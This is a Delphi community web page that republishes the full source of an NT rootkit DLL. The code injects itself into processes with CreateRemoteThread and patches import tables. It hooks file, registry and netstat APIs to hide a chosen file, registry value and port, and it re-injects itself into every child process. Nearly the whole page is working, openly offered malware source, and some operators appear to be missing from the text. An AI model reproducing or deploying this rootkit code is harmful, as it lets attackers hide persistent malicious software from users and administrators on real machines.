Delphi Brasil - Nosso esporte é desenvolver!

Delphi NT RootKit PDF Imprimir E-mail
Códigos Fontes
  Code from : Rezmond, Aphex (thanks to both)

        Rezmond : www.projectbionet.com
        Aphex : iamaphex.cjb.com

  Operating System : Tested on XP Pro - Aimed at NT based OS { DELPHI NT ROOTKIT --------------------------

  ***********************************************************
  Version : 0.1
  Author : ~LOM~
  Sponsor : LOKI

  Website : www.lommage.co.uk

  Code from : Rezmond, Aphex (thanks to both)

        Rezmond : www.projectbionet.com
        Aphex : iamaphex.cjb.com

  Operating System : Tested on XP Pro - Aimed at NT based OS

  .: Disclaimer :. -
  ------------------
  IF you use this source then you must credit ~LOM~, Rezmond
  and Aphex. You can freely use this source in NON-Commercial
  applications.
  ***********************************************************

  Firstly I would like to thank Rezmond and Aphex for both
  providing really good help articles on Dll Injecting under
  Win NT (Rezmond) - and Aphex for hooking code and
  manipulating a Processes IAT Table.

  I think this is probably the first open source NT Root Kit
  for delphi, and I think that in itself deserves a beer ;)

        1.) What we will learn

            How to inject a dll into a foreign process and
            copy over data from one process to another as
            NT doesn't have memory sharing (we will be using
            WriteProcessMemory and VirtualAllocEx)

            How to copy over a procedure and execute it using
            CreateRemoteThread! (only available under NT)

            How to patch a foreign processes IAT table and
            redirect any api calls to our dll for processing
            first

  The benefits for Process hooking under Windows NT is
  beneficial from two aspects - GDI hooking, API Hooking

  Both of these is a fair enough reason to provide commented
  source as we can show the true exploitable nature of
  Windows AND to hook the windows GDI for realtime screen
  grabbing.

  Written by ~LOM~
  ***********************************************************
}


library Hook;

uses
  Windows;

type
  PShellExecuteInfoA = ^TShellExecuteInfoA;
  PShellExecuteInfo = PShellExecuteInfoA;
  _SHELLEXECUTEINFOA = record
    cbSize: DWORD;
    fMask: ULONG;
    Wnd: HWND;
    lpVerb: PAnsiChar;
    lpFile: PAnsiChar;
    lpParameters: PAnsiChar;
    lpDirectory: PAnsiChar;
    nShow: Integer;
    hInstApp: HINST;
    lpIDList: Pointer;
    lpClass: PAnsiChar;
    hkeyClass: HKEY;
    dwHotKey: DWORD;
    hIcon: THandle;
    hProcess: THandle;
  end;
  TShellExecuteInfoA = _SHELLEXECUTEINFOA;

  PShellExecuteInfoW = ^TShellExecuteInfoW;
  _SHELLEXECUTEINFOW = record
    cbSize: DWORD;
    fMask: ULONG;
    Wnd: HWND;
    lpVerb: PWideChar;
    lpFile: PWideChar;
    lpParameters: PWideChar;
    lpDirectory: PWideChar;
    nShow: Integer;
    hInstApp: HINST;
    lpIDList: Pointer;
    lpClass: PWideChar;
    hkeyClass: HKEY;
    dwHotKey: DWORD;
    hIcon: THandle;
    hProcess: THandle;
  end;
  TShellExecuteInfoW = _SHELLEXECUTEINFOW;

  //record for injecting
  TInjectDllData = record
    pLoadLibrary     : pointer; //points to the LoadLibrary Procedure :p
    lib_name         : pointer; //points to OUR dll lib name (eg c:\mydll.dll)
  end;

  //record for Code patching!!!
  TImportFunction = packed record
    JumpInstruction: Word;
    AddressOfPointerToFunction: ^Pointer;
  end;

  //record for Code patching!!!
  TImageImportEntry = record
    Characteristics: dword;
    TimeDateStamp: dword;
    MajorVersion: word;
    MinorVersion: word;
    Name: dword;
    LookupTable: dword;
  end;

{$R *.res}

Const
  shell32 = 'shell32.dll';

var
  DefaultDll: String;
  FilenameToHide: String = 'Something.exe';
  RegValueToHide: String = 'Hello';
  PortToHide: String = '80';

  //callback for file hiding
  FindNextFileANextHook: function (hFindFile: THandle; var lpFindFileData: TWIN32FindDataA): BOOL; stdcall;
  FindNextFileWNextHook: function (hFindFile: THandle; var lpFindFileData: TWIN32FindDataW): BOOL; stdcall;

  //call back for registry hiding
  RegEnumValueANextHook : function (hKey: HKEY; dwIndex: DWORD; lpValueName: PChar; var lpcbValueName: DWORD; lpReserved: Pointer; lpType: PDWORD; lpData: PByte; lpcbData: PDWORD): Longint; stdcall;
  RegEnumValueWNextHook : function (hKey: HKEY; dwIndex: DWORD; lpValueName: PWideChar; var lpcbValueName: DWORD; lpReserved: Pointer; lpType: PDWORD; lpData: PByte; lpcbData: PDWORD): Longint; stdcall;

  //netstat hiding
  FormatMessageANextHook: function(dwFlags: DWORD; lpSource: Pointer; dwMessageId: DWORD; dwLanguageId: DWORD; lpBuffer: PAnsiChar; nSize: DWORD; Arguments: Pointer): DWORD; stdcall;

  //callback for process cloaking
  CreateProcessANextHook: function (appName, cmdLine: pchar; processAttr, threadAttr: PSecurityAttributes; inheritHandles: bool; creationFlags: dword; environment: pointer; currentDir: pchar; const startupInfo: TStartupInfo; var processInfo: TProcessInformation) : bool; stdcall;
  CreateProcessWNextHook: function (appName, cmdLine: pwidechar; processAttr, threadAttr: PSecurityAttributes; inheritHandles: bool; creationFlags: dword; environment: pointer; currentDir: pwidechar; const startupInfo: TStartupInfo; var processInfo: TProcessInformation) : bool; stdcall;
  WinExecNextHook: function (cmdLine: pchar; show: dword) : dword; stdcall;

  ShellExecuteANextHook: function (hWnd: HWND; Operation, FileName, Parameters, Directory: PChar; ShowCmd: Integer): HINST; stdcall;
  ShellExecuteWNextHook: function (hWnd: HWND; Operation, FileName, Parameters, Directory: PWideChar; ShowCmd: Integer): HINST; stdcall;
  ShellExecuteExANextHook: function (lpExecInfo: PShellExecuteInfoA):BOOL; stdcall;
  ShellExecuteExWNextHook: function (lpExecInfo: PShellExecuteInfoW):BOOL; stdcall;

function ShellExecuteA(hWnd: HWND; Operation, FileName, Parameters, Directory: PAnsiChar; ShowCmd: Integer): HINST; stdcall; external shell32 name 'ShellExecuteA'
function ShellExecuteW(hWnd: HWND; Operation, FileName, Parameters, Directory: PWideChar; ShowCmd: Integer): HINST; stdcall; external shell32 name 'ShellExecuteW'
function ShellExecuteExA(lpExecInfo: PShellExecuteInfoA):BOOL; stdcall; external shell32 name 'ShellExecuteExA';
function ShellExecuteExW(lpExecInfo: PShellExecuteInfoW):BOOL; stdcall; external shell32 name 'ShellExecuteExW';

function LowerCase(const S: string): string;
var
  Ch: Char;
  L: Integer;
  Source, Dest: PChar;
begin
  L := Length(S);
  SetLength(Result, L);
  Source := Pointer(S);
  Dest := Pointer(Result);
  while L 0 do
  begin
    Ch := Source^;
    if (Ch >= 'A') and (Ch <= 'Z') then Inc(Ch, 32);
    Dest^ := Ch;
    Inc(Source);
    Inc(Dest);
    Dec(L);
  end;
end;

//Procedure to copy to foreign process
procedure InjectedProc(parameter: Pointer); stdcall;
var
  InjectDllData : TInjectDllData;
begin
  InjectDllData := TInjectDllData(parameter^);
  asm
   push InjectDllData.lib_name
   call InjectDllData.pLoadLibrary
  end;
end;

//check the exe stub for documentation on here!
function InjectDllToTarget(dllName : string; TargetProcessID : DWORD ; code : pointer; CodeSize : integer ): boolean;
var
  InitDataAddr, WriteAddr: pointer;
  x: Pchar;
  hProcess, ThreadHandle: Thandle;
  BytesWritten, TheadID: DWORD;
  InitData: TInjectDllData;
begin
  Result := False;
  InitData.pLoadLibrary := GetProcAddress(LoadLibrary('kernel32.dll'), 'LoadLibraryA');

  hProcess := OpenProcess( PROCESS_ALL_ACCESS, FALSE, TargetProcessID );
  If (hProcess = 0) then exit;

  InitData.lib_name := VirtualAllocEx(hProcess , 0, length(dllName) + 5  , MEM_COMMIT , PAGE_READWRITE) ;
  If (InitData.lib_name nil) then
    WriteProcessMemory(hProcess , InitData.lib_name , pchar(dllName) , length(dllName) , BytesWritten );

  InitDataAddr := VirtualAllocEx(hProcess , 0, sizeof(InitData)  , MEM_COMMIT , PAGE_READWRITE) ;
  If (InitDataAddr nil) then
    WriteProcessMemory(hProcess, InitDataAddr, (@InitData), sizeof(InitData), BytesWritten );

  WriteAddr := VirtualAllocEx(hProcess, 0, CodeSize, MEM_COMMIT, PAGE_READWRITE);
  If (WriteAddr nil) then
  begin
    WriteProcessMemory(hProcess, WriteAddr, code, CodeSize, BytesWritten);

    If BytesWritten = CodeSize then
    begin
      ThreadHandle := CreateRemoteThread(hProcess, nil, 0, WriteAddr, InitDataAddr , 0, TheadID);
      WaitForSingleObject(ThreadHandle, INFINITE);

      VirtualFreeEx(hProcess, WriteAddr, 0, MEM_RELEASE);
      Result := True;
    end;
  end;

  VirtualFreeEx(hProcess, InitDataAddr, 0 ,MEM_RELEASE);
  VirtualFreeEx(hProcess, InitData.lib_name, 0 ,MEM_RELEASE);

  CloseHandle(hProcess);
end;

function FunctionAddress(Code: Pointer): Pointer;
begin
  Result := Code;
  If TImportFunction(Code^).JumpInstruction = 9727 then Result := TImportFunction(Code^).AddressOfPointerToFunction^;
end;

//This code was contributed by Aphex ;)
//to be completely honest im not 100% sure how it works, but for the next
//source code release - ill look into it!
function HookCode(TargetAddress, NewAddress: Pointer; var OldAddress: Pointer): integer;
var
  HookedModules: String;

  function HookModule(ImageDosHeader: PImageDosHeader; TargetAddress, NewAddress: Pointer; var OldAddress: Pointer): integer;
  var
    Address: Pointer;
    ImportCode: ^Pointer;
    BytesWritten: dword;
    ImageNTHeaders: PImageNTHeaders;
    ImageImportEntry: ^TImageImportEntry;
  begin
    Result := 0;
    OldAddress := FunctionAddress(TargetAddress);

    //check the header and see if there is one, if there isn't then exit hook routine
    If ImageDosHeader.e_magic IMAGE_DOS_SIGNATURE then Exit;
    //Loads the API headers into ImageNTHeaders
    ImageNTHeaders := Pointer(integer(ImageDosHeader) + ImageDosHeader._lfanew);

    //checks if there are API header? (I think)
    If ImageNTHeaders^.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress = 0 then Exit;
    //Gets just the API header addresses? (I think)
    ImageImportEntry := Pointer(dword(ImageDosHeader) + ImageNTHeaders^.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress);

    //Loops through each API header looking for the name you specified ready to patch!
    While ImageImportEntry^.Name 0 do
    begin
      //If its found then go into
      If Pos(LowerCase(string(PChar(dword(ImageDosHeader) + ImageImportEntry^.Name))), HookedModules) = 0 then
      begin
        //Writes the redirection of API
        HookedModules := HookedModules + LowerCase(string(PChar(dword(ImageDosHeader) + ImageImportEntry^.Name)));
        HookModule(Pointer(GetModuleHandle(PChar(dword(ImageDosHeader) + ImageImportEntry^.Name))), TargetAddress, NewAddress, OldAddress);
      end;

      //Sets the Address of the Table?
      ImportCode := Pointer(dword(ImageDosHeader) + ImageImportEntry.LookupTable);

      While ImportCode^ nil do
      begin
        Address := FunctionAddress(ImportCode^);

        //checks address and writes our one!
        If Address = OldAddress then
          WriteProcessMemory(GetCurrentProcess, ImportCode, @NewAddress, SizeOf(dword), BytesWritten);

        //increment the importcode until it finds the correct address
        Inc(ImportCode);
      end;

      //keep stepping thru each API Header
      Inc(ImageImportEntry);
    end;
  end;

begin
  Result := HookModule(Pointer(GetModuleHandle(nil)), TargetAddress, NewAddress, OldAddress);
end;

function UnhookCode(NewAddress, OldAddress: Pointer): integer;
begin
  Result := HookCode(NewAddress, OldAddress, NewAddress);
end;

//--Hooks File listing Api
function FindNextFileACallbackProc(hFindFile: THandle; var lpFindFileData: TWIN32FindDataA): BOOL; stdcall;
begin
  Result := FindNextFileANextHook(hFindFile,lpFindFileData);

  If Lowercase(lpfindfiledata.cFileName) = LowerCase(FilenameToHide) then
    Result := FindNextFileANextHook(hFindFile, lpFindFileData);
end;

//--Hooks File listing Api
function FindNextFileWCallbackProc(hFindFile: THandle; var lpFindFileData: TWIN32FindDataW): BOOL; stdcall;
begin
  Result := FindNextFileWNextHook(hFindFile,lpFindFileData);

  If Lowercase(lpfindfiledata.cFileName) = LowerCase(FilenameToHide) then
    Result := FindNextFileWNextHook(hFindFile, lpFindFileData);
end;

//--Hooks Registry listing Api
function RegEnumValueACallbackProc(hKey: HKEY; dwIndex: DWORD; lpValueName: PChar; var lpcbValueName: DWORD; lpReserved: Pointer; lpType: PDWORD; lpData: PByte; lpcbData: PDWORD): Longint; stdcall;
begin
  Result := RegEnumValueANextHook(hKey, dwIndex, lpValueName, lpcbValueName, lpReserved, lpType, lpData, lpcbData);
  If lpValueName = RegValueToHide then
    Result := RegEnumValueANextHook(hKey, dwIndex, lpValueName, lpcbValueName, lpReserved, lpType, lpData, lpcbData);
end;

function RegEnumValueWCallbackProc(hKey: HKEY; dwIndex: DWORD; lpValueName: PWideChar; var lpcbValueName: DWORD; lpReserved: Pointer; lpType: PDWORD; lpData: PByte; lpcbData: PDWORD): Longint; stdcall;
begin
  Result := RegEnumValueWNextHook(hKey, dwIndex, lpValueName, lpcbValueName, lpReserved, lpType, lpData, lpcbData);
  If WideCharToString(lpValueName) = RegValueToHide then
    Result := RegEnumValueWNextHook(hKey, dwIndex, lpValueName, lpcbValueName, lpReserved, lpType, lpData, lpcbData);
end;

//Hide from netstat
function FormatMessageACallback(dwFlags: DWORD; lpSource: Pointer; dwMessageId: DWORD; dwLanguageId: DWORD; lpBuffer: PAnsiChar; nSize: DWORD; Arguments: Pointer): DWORD; stdcall;
begin
  Result := FormatMessageANextHook(dwFlags, lpSource, dwMessageId, dwLanguageId, lpBuffer, nSize, Arguments);
  if Pos(':' + PortToHide, string(PChar(Pointer(lpBuffer)^))) 0 then Result := 0;
end;

//hooks file opening
function CreateProcessACallbackProc(appName, cmdLine: pchar; processAttr, threadAttr: PSecurityAttributes; inheritHandles: bool; creationFlags: dword; environment: pointer; currentDir: pchar; const startupInfo: TStartupInfo; var processInfo: TProcessInformation) : bool; stdcall;
begin
  Result := CreateProcessANextHook(appName, cmdLine, processAttr, threadAttr, inheritHandles, creationFlags, environment, currentDir, startupInfo, processInfo);
    //If explorer opens files like regedit or netstat - we can now auto inject our DLL into them hooking their API ;)!!!!
  //this will now keep injecting and recurring in every process which is ran through the created ones :)
  InjectDllToTarget(DefaultDll, processInfo.dwProcessId, @InjectedProc, 1000);
end;

//hooks file opening
function CreateProcessWCallbackProc(appName, cmdLine: pwidechar; processAttr, threadAttr: PSecurityAttributes; inheritHandles: bool; creationFlags: dword; environment: pointer; currentDir: pwidechar; const startupInfo: TStartupInfo; var processInfo: TProcessInformation) : bool; stdcall;
begin
  Result := CreateProcessWNextHook(appName, cmdLine, processAttr, threadAttr, inheritHandles, creationFlags, environment, currentDir, startupInfo, processInfo);
  //If explorer opens files like regedit or netstat - we can now auto inject our DLL into them hooking their API ;)!!!!
  //this will now keep injecting and recurring in every process which is ran through the created ones :)
  InjectDllToTarget(DefaultDll, processInfo.dwProcessId, @InjectedProc, 1000);
end;

//hooks file opening
function WinExecCallbackProc(cmdLine: pchar; show: dword) : dword; stdcall;
var
  StartupInfo: TStartUpInfo;
  ProcessInfo: TProcessInformation;
begin
  //not entirely sure i got this working :p - it *should* work - It will call
  //the createprocess instead, and inject the dll into the ran process!
  FillChar(StartupInfo, Sizeof(StartupInfo), #0);
  StartupInfo.wShowWindow := Show;
  CreateProcessA(nil, cmdLine, nil, nil, False, CREATE_NEW_CONSOLE or NORMAL_PRIORITY_CLASS, nil, nil, startupInfo, processInfo);
end;

function ShellExecuteNextACallBack(hWnd: HWND; Operation, FileName, Parameters, Directory: PAnsiChar; ShowCmd: Integer): HINST; stdcall;
var
  StartupInfo: TStartUpInfo;
  ProcessInfo: TProcessInformation;
begin
  //not entirely sure i got this working :p - it *should* work - It will call
  //the createprocess instead, and inject the dll into the ran process!
  FillChar(StartupInfo, Sizeof(StartupInfo), #0);
  StartupInfo.wShowWindow := ShowCmd;
  CreateProcessA(nil, FileName, nil, nil, False, CREATE_NEW_CONSOLE or NORMAL_PRIORITY_CLASS, nil, nil, startupInfo, processInfo);
end;

function ShellExecuteNextWCallBack(hWnd: HWND; Operation, FileName, Parameters, Directory: PWideChar; ShowCmd: Integer): HINST; stdcall;
var
  StartupInfo: TStartUpInfo;
  ProcessInfo: TProcessInformation;
begin
  //not entirely sure i got this working :p - it *should* work - It will call
  //the createprocess instead, and inject the dll into the ran process!
  FillChar(StartupInfo, Sizeof(StartupInfo), #0);
  StartupInfo.wShowWindow := ShowCmd;
  CreateProcessA(nil, Pchar(FileName), nil, nil, False, CREATE_NEW_CONSOLE or NORMAL_PRIORITY_CLASS, nil, nil, startupInfo, processInfo);
end;

function ShellExecuteExACallBack(lpExecInfo: PShellExecuteInfoA):BOOL; stdcall;
begin
  Result := ShellExecuteExANextHook(lpExecInfo);
  InjectDllToTarget(DefaultDll, lpExecInfo.hProcess, @InjectedProc, 1000);
end;

function ShellExecuteExWCallBack(lpExecInfo: PShellExecuteInfoW):BOOL; stdcall;
begin
  Result := ShellExecuteExWNextHook(lpExecInfo);
  InjectDllToTarget(DefaultDll, lpExecInfo.hProcess, @InjectedProc, 1000);
end;

procedure HandleEvents(reason: integer);
begin
  case reason of
    DLL_PROCESS_ATTACH:
      begin
        //Initiate our hook code - to patch the IAT Table
        //this will now redirect the api for each of the below
        //to our own procedure - so we can control them!
        HookCode(@FindNextFileA, @FindNextFileACallbackProc, @FindNextFileANextHook);
        HookCode(@FindNextFileW, @FindNextFileWCallbackProc, @FindNextFileWNextHook);

        HookCode(@RegEnumValueA, @RegEnumValueACallbackProc, @RegEnumValueANextHook);
        HookCode(@RegEnumValueW, @RegEnumValueWCallbackProc, @RegEnumValueWNextHook);

        HookCode(@FormatMessageA, @FormatMessageACallBack, @FormatMessageANextHook);

        HookCode(@CreateProcessA, @CreateProcessACallbackProc, @CreateProcessANextHook);
        HookCode(@CreateProcessW, @CreateProcessWCallbackProc, @CreateProcessWNextHook);

        HookCode(@ShellExecuteA, @ShellExecuteNextACallBack, @ShellExecuteANextHook);
        HookCode(@ShellExecuteW, @ShellExecuteNextWCallBack, @ShellExecuteWNextHook);

        HookCode(@ShellExecuteExA, @ShellExecuteExACallBack, @ShellExecuteExANextHook);
        HookCode(@ShellExecuteExW, @ShellExecuteExWCallBack, @ShellExecuteExWNextHook);
      end;

    DLL_PROCESS_DETACH:
      begin
        //This replaces the old dll's if our dll is uninjected!
        UnhookCode(@FindNextFileANextHook, @FindNextFileA);
        UnhookCode(@FindNextFileWNextHook, @FindNextFileW);

        UnhookCode(@RegEnumValueANextHook, @RegEnumValueA);
        UnhookCode(@RegEnumValueWNextHook, @RegEnumValueW);

        UnhookCode(@CreateProcessANextHook, @CreateProcessA);
        UnhookCode(@CreateProcessWNextHook, @CreateProcessW);

        UnhookCode(@ShellExecuteANextHook, @ShellExecuteA);
        UnhookCode(@ShellExecuteWNextHook, @ShellExecuteW);

        UnhookCode(@ShellExecuteExACallBack, @ShellExecuteExA);
        UnhookCode(@ShellExecuteExWCallBack, @ShellExecuteExW);
      end;
  end;
end;

function InstParamStr: String;
var
  Path: array[0..MAX_PATH - 1] of Char;
begin
  If IsLibrary then
    SetString(Result, Path, GetModuleFileName(HInstance, Path, SizeOf(Path)))
end;

begin
  //We first get the whereabouts of the dll (eg c:\mydll.dll)
  DefaultDll := InstParamStr;

  //we set the dll proc address to the handle events procedure
  DllProc := @HandleEvents;
  //we call the handle address procedure!
  HandleEvents(DLL_PROCESS_ATTACH);
end.